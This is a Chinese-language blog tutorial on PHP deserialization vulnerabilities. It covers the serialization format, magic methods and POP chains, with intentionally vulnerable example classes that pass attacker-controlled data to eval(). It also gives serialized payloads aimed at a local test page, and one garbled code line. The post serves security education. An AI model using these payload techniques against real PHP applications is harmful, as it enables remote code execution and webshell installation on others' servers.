0x00 序列化与反序列化

序列化:

serialize()把对象转换为字节序列的过程称为对象的序列化

反序列化:

unserialize()把字节序列恢复为对象的过程称为对象的反序列化

0x01 序列化

  1. <?php
  2. $test1 = "wtz2020";
  3. $test2 = array("wtz.2020");
  4. echo serialize($test1);
  5. ?>

这里就是转化成7个字节序列

s:strings类型,7:7个字节。

  1. <?php
  2. $test1 = "wtz2020";
  3. $test2 = array("wtz.2020");
  4. echo serialize($test1);
  5. echo serialize($test2);
  6. ?>

a:数组类型

i:int型


把数据类型压缩到字符中

序列化的不同结果

这里我在前面文章中已经学习过:

https://www.cnblogs.com/wangtanzhi/p/12193930.html

  1. protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。
  1. private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

举个栗子:

  1. <?php
  2. class test{
  3.     private $test1 = "wtz2020";
  4.     public $test2 = "wtz2020";
  5.     protected $test3 = "wtz2020";
  6. }
  7. $test = new test();//实例化一个对象
  8. echo serialize(test);
  9. ?>

ps:我们在写序列化时基本模板:

  1. <?php
  2. class x{
  3. }
  4. $x = new x(a);//a通常在上面类中找到
  5. echo serialize($x)
  6. ?>

0x02 漏洞本质

unserialize函数的变量可控

php文件中存在可利用的类,类中有魔术方法

0x03 漏洞成因

反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根据不同的代码可以导致各种攻击,如代码注入,SQL注入,目录遍历等等。

在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止

下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。

如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.

0x04 魔术方法

  1. __construct()当一个对象创建时被调用
  2. _destruct()当一个对象销毁时被调用
  3. __toString()当一个对象被当作一个字符串使用
  4. __sleep() 在对象在被序列化之前运行
  5. __wakeup将在序列化之后立即被调用

这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

0x05漏洞挖掘技巧

通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路.

1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.

2.追踪调用过程

3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit.

0x06 代码实例

我们这里写一个php反序列化导致代码执行

魔术方法使用

_destruct()

当一个对象销毁时被调用

  1. <?php
  2. class A{
  3. var $test = "demo";
  4. function __destruct(){ echo $this->test;
  5. } }
  6. $a = $_GET['test'];
  7. $a_unser = unserialize($a);
  8. ?>

这里我们只要构造payload:

序列化是我们之前构造好的就不写了

  1. http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}

就能控制echo出的变量,导致代码执行

这里我们需要明白要一一对应:

比如:

  1. http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:7:”wtz2020”;}

在实际应用中,我们可以通过这种类似的方法来写入webshell,但是有时没有魔法方法使用,那么我们该怎么办呢?

利用方法如下:

寻找相同的函数名,把敏感函数和类联系在一起。

代码:

  1. <?php
  2. class chybeta {
  3. var $test;
  4. function __construct() {
  5. $this->test = new ph0en1x();
  6. }
  7. function __destruct() {
  8. $this->test->action();
  9. }
  10. }
  11. class ph0en1x {
  12. function action() {
  13. echo "ph0en1x";
  14. }
  15. }
  16. class ph0en2x {
  17. var $test2;
  18. function action() {
  19. eval($this->test2);
  20. }
  21. }
  22. $class6 = new chybeta();
  23. unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数$_GET['test']);
  24. ?>

本意上,new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。

下面是利用过程。构造序列化。

  1. <?php
  2. class chybeta {
  3. var $test;
  4. function __construct() {
  5. $this->test = new ph0en2x();
  6. }
  7. }
  8. class ph0en2x {
  9. var $test2 = "phpinfo();";
  10. }
  11. echo serialize(new chybeta());
  12. ?>

得到:

  1. O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

传给index.php的test参数,利用成功

0x07 防御方法

核心函数还是unserialize(),我们注意这里面的参数是否可控,在传过来之前要过滤一些危险参数

参考链接:

https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/

https://www.anquanke.com/post/id/84922

2020/2/2 PHP代码审计之反序列化的更多相关文章

  1. [代码审计]php反序列化漏洞

    0x01 php面向对象简介 对象:可以对其做事情的一些东西.一个对象有状态.行为和标识三种属性. 类:一个共享相同结构和行为的对象的集合. 每个类的定义都以关键字class开头,后面跟着类的名字. ...

  2. 2020/2/1 PHP代码审计之变量覆盖漏洞

    0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...

  3. 代码审计-Typecho反序列化getshell

    0x01 漏洞代码 install.php: <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_c ...

  4. 2020/2/21 fiyocms代码审计

    0x00 前言 上午上了网课,一上午就装好了cms,下午还有网课,要是结束的早就进行审计. 解决了一下phpstudy使用过程中: Forbidden You don't have permissio ...

  5. 2020/2/4 PHP代码审计之会话认证漏洞

    0x00 会话认证漏洞简介 会话认证是个非常大的话题,涉及各种协议和框架,如cookie.session.sso.oauth.openid等. 而其中最常使用的是Cookie和Session,他们都能 ...

  6. 2020/2/3 PHP代码审计之PHP伪协议

    0x00 简介 开局一张图233 0x01 file://协议 说明: file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统.当指定了一个相对路径(不以/..\或 Windows ...

  7. 2020/2/3 PHP代码审计之PHP弱类型

    0x00 简介 php中有两种比较的符号 == 与 === <?php 2 $a = $b ; 3 $a===$b ; 4 ?> === 在进行比较的时候,会先判断两种字符串的类型是否相等 ...

  8. 2020/2/1 PHP代码审计之任意文件读取及删除漏洞

    在开始学习之前先简单记录一下自己现在的思路吧..现在接触的基本都是无防护的漏洞也就是最简单的一些漏洞.我的想法就是以代审思路为主,之前一直在打CTF,白盒的思维我觉得和CTF这种黑盒有很大区别.自己的 ...

  9. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

随机推荐

  1. 51nod 1163:最高的奖励 优先队列

    1163 最高的奖励 基准时间限制:1 秒 空间限制:131072 KB 分值: 20 难度:3级算法题  收藏  关注 有N个任务,每个任务有一个最晚结束时间以及一个对应的奖励.在结束时间之前完成该 ...

  2. dMd----攻防世界

    首先在Linux上查看题目,没有什么发现elf文件,之后使用ida打开看看,找到main函数,f5查看, 上图一些字符是char过的,便于查看,发现是一个if else语句,先经过了MD5加密然后判断 ...

  3. Redis详解(三)——事务

    Redis详解(三)--事务 Redis事务的概念: Redis 事务的本质是一组命令的集合.事务支持一次执行多个命令,一个事务中所有命令都会被序列化.在事务执行过程,会按照顺序串行化执行队列中的命令 ...

  4. xaml与CSS中的Margin顺序不同

    XAML中  Margin:左 上 右 下 CSS中      Margin:上 右 下 左

  5. Oracle 中启用 scott 用户 的方法

    解锁scott: SQL> alter user scott account unlock 修改密码: SQL> alter user scott identified by tiger ...

  6. A convenient way to recognize and handwrite multidimensional arrays in Numpy

    As a new learner of Numpy, it is very common to be confused by the form of array, braces nested in b ...

  7. 用JS改变embed标签的src属性

    思路: A.先隐藏embed标签 B.清除embed元素 C.为embed重新赋值,加入Html页面中 1.html代码 <object id="forfun" classi ...

  8. 自己手动实现简单的双向数据绑定 mvvm

    数据绑定 数据绑定一般就是指的 将数据 展示到 视图上.目前前端的框架都是使用的mvvm模式实现双绑的.大体上有以下几种方式: 发布订阅 ng的脏检查 数据劫持 vue的话采用的是数据劫持和发布订阅相 ...

  9. css选择器权重、样式继承、默认样式

    学过css的小伙伴都是指css选择器的权重 !important Infinity 行间样式 1000 id   100 class|属性|伪类 10 标签|伪元素 1 通配符 0 权重相同 相同cs ...

  10. kNN.py源码及注释(python3.x)

    import numpy as npimport operatorfrom os import listdirdef CerateDataSet():        group = np.array( ...